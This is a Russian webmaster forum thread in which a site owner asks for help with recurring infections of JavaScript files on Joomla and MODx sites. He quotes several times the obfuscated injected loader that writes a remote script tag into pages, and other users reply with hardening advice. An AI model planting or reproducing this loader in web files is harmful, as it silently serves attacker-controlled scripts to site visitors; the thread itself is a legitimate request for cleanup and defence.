Help! Регулярно заражаются .js файлы Joomla и Modx

Sergh545
На сайте с 24.02.2011
Offline
124
1465

Приветствую форумчан!

Уже довольно продолжительное время на моих сайтах заражаются js файлы. Причем, после удаления этой бяки, примерно через сутки она появляется вновь.

В результате загрузки моих сайтов, можно наблюдать подгрузку чужого сайта. На данный момент идут подгрузки на salon.rudavi.com.ua и vesnina-group.kharkov.ua (на одном сайте подгружается только один сайт).

Что имею:

- Часть сайтов на VPS (разнесены по разным аккаунтам) - 1 сайт на Modx, остальные на Joomla 1.5.26

- Другая часть на шареде - 1 сайт на Modx, остальные на Joomla 1.5.26

- доступ SHH

Что делал:

- выкачивал сайты на комп

- сканировал Айболитом, естественно удалял иногда шеллы, но потом заражение .js заново появлялось

- заливал на сервер, менял доступы фтп, админок, баз

- обновлял joomla до 1.5.26

На компе стоит лицензия Касперского. Думал, что через комп заливают, но на других аккаунтах хостингов нет вредоносного кода.

Вот примеры скриптов:

№1

//j3PctUeLHN2B

r=0;rx='Code';rv='wri';while(r<118)document[rv+'te'](String['fromChar'+rx]('=tdsjqu!tsd>#iuuq;00tbmpo/svebwj/dpn/vb0benjojtusbups0dpnqpofout0dpn`gjoefs0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+rx+'At'](r++)-1))

//kHWRu0eFUdue

№2

//iG7TsEaAU4KQsAdNf34dlan

o=0;ox='Code';ov='wri';while(o<103)document[ov+'te'](String['fromChar'+ox]('=tdsjqu!tsd>#iuuq;00wftojob.hspvq/libslpw/vb0xq.benjo0jnbhft0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+ox+'At'](o++)-1))

//kHWRu0KaHMaRsUMwLnzNE2

Ранее коды содержались между <!-- js-tools -->. Сейчас без <!-- js-tools -->.

Вот примеры путей заражение с шареда (поиск с помощью команды grep):

CMS ModX:

/www/site.ru/template/js/scrol.js:o=0;ox='Code';ov='wri';while(o<103)document[ov+'te'](String['fromChar'+ox]('=tdsjqu!tsd>#iuuq;00wftojob.hspvq/libslpw/vb0xq.benjo0jnbhft0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+ox+'At'](o++)-1))

CMS Joomla 1.5.26:
./www/site.ru/media/zengridframework/js/jquery/noconflict.js:o=0;ox='Code';ov='wri';while(o<103)document[ov+'te'](String['fromChar'+ox]('=tdsjqu!tsd>#iuuq;00wftojob.hspvq/libslpw/vb0xq.benjo0jnbhft0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+ox+'At'](o++)-1))

./www/site.ru/templates/tab/js/domready_fix.js:o=0;ox='Code';ov='wri';while(o<103)document[ov+'te'](String['fromChar'+ox]('=tdsjqu!tsd>#iuuq;00wftojob.hspvq/libslpw/vb0xq.benjo0jnbhft0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+ox+'At'](o++)-1))

./www/site.ru/media/system/js/caption.js:r=0;rx='Code';rv='wri';while(r<118)document[rv+'te'](String['fromChar'+rx]('=tdsjqu!tsd>#iuuq;00tbmpo/svebwj/dpn/vb0benjojtusbups0dpnqpofout0dpn`gjoefs0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+rx+'At'](r++)-1))

./www/site.ru/media/system/js/mootools.js:o=0;ox='Code';ov='wri';while(o<103)document[ov+'te'](String['fromChar'+ox]('=tdsjqu!tsd>#iuuq;00wftojob.hspvq/libslpw/vb0xq.benjo0jnbhft0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+ox+'At'](o++)-1))

./www/site.ru/media/system/js/caption.js:o=0;ox='Code';ov='wri';while(o<103)document[ov+'te'](String['fromChar'+ox]('=tdsjqu!tsd>#iuuq;00wftojob.hspvq/libslpw/vb0xq.benjo0jnbhft0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+ox+'At'](o++)-1))

./www/site.ru/plugins/system/yvbbcode/default.js:o=0;ox='Code';ov='wri';while(o<103)document[ov+'te'](String['fromChar'+ox]('=tdsjqu!tsd>#iuuq;00wftojob.hspvq/libslpw/vb0xq.benjo0jnbhft0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+ox+'At'](o++)-1))

Оплата зарубежных сервисов, виртуальные бурж карты, получение и отправка SWIFT переводов. ( https://capitalist.net/reg?from=4e4c64388f )
J
На сайте с 20.02.2014
Offline
120
jkm
#1

Помимо даты изменения файла, можно глянуть ctime (дата последнего изменения inode).


ls -lc

И смотреть что было в логах фтп и веб сервера в это время.

Выставить права 444 для файлов и 555 для каталогов.

В настройках php директива disable_functions. Добавить туда функцию для смены прав доступа chmod и функции для запуска внешних программ exec, system, shell_exec, proc_open, passthru.

Sergh545
На сайте с 24.02.2011
Offline
124
#2

jkm, кстати, время последнего редактирования этих зараженных файлов не меняется

J
На сайте с 20.02.2014
Offline
120
jkm
#3

Еще такая идея использовать директиву php auto_prepend_file.

Поставить туда скрипт который будет проверять например $_SERVER['PHP_SELF'].

Если там не /index.php или /administrator/index.php вызывать exit и тем самым препятствовать исполнению любых скриптов не из белого списка.

От заливки новых шеллов это не спасет, но осложняет использование уже залитых шеллов.

draff
На сайте с 30.03.2010
Offline
65
#4
Sergh545:
обновлял joomla до 1.5.26

Еще фикс есть для загрузчика файлов Джумла 1.5.26

zip UploadFix15v3.zip
Удалю вирус с сайта Джумла! (http://joomlaforum.ru/index.php/topic,254903.0.html)
Sergh545
На сайте с 24.02.2011
Offline
124
#5

draff, благодарю. А Вы могли бы ссылку кинуть с оф сайта?

draff
На сайте с 30.03.2010
Offline
65
#6
Sergh545:
draff, благодарю. А Вы могли бы ссылку кинуть с оф сайта?

По имени файла UploadFix15v3, гугл выдает первую ссылку http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&tracker_item_id=31626

Еще наработки с форума-джумла

http://joomlaforum.ru/index.php?PHPSESSID=ff1f1c18e1c1a498a1d82ea542e5e5e2&topic=298276.0

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий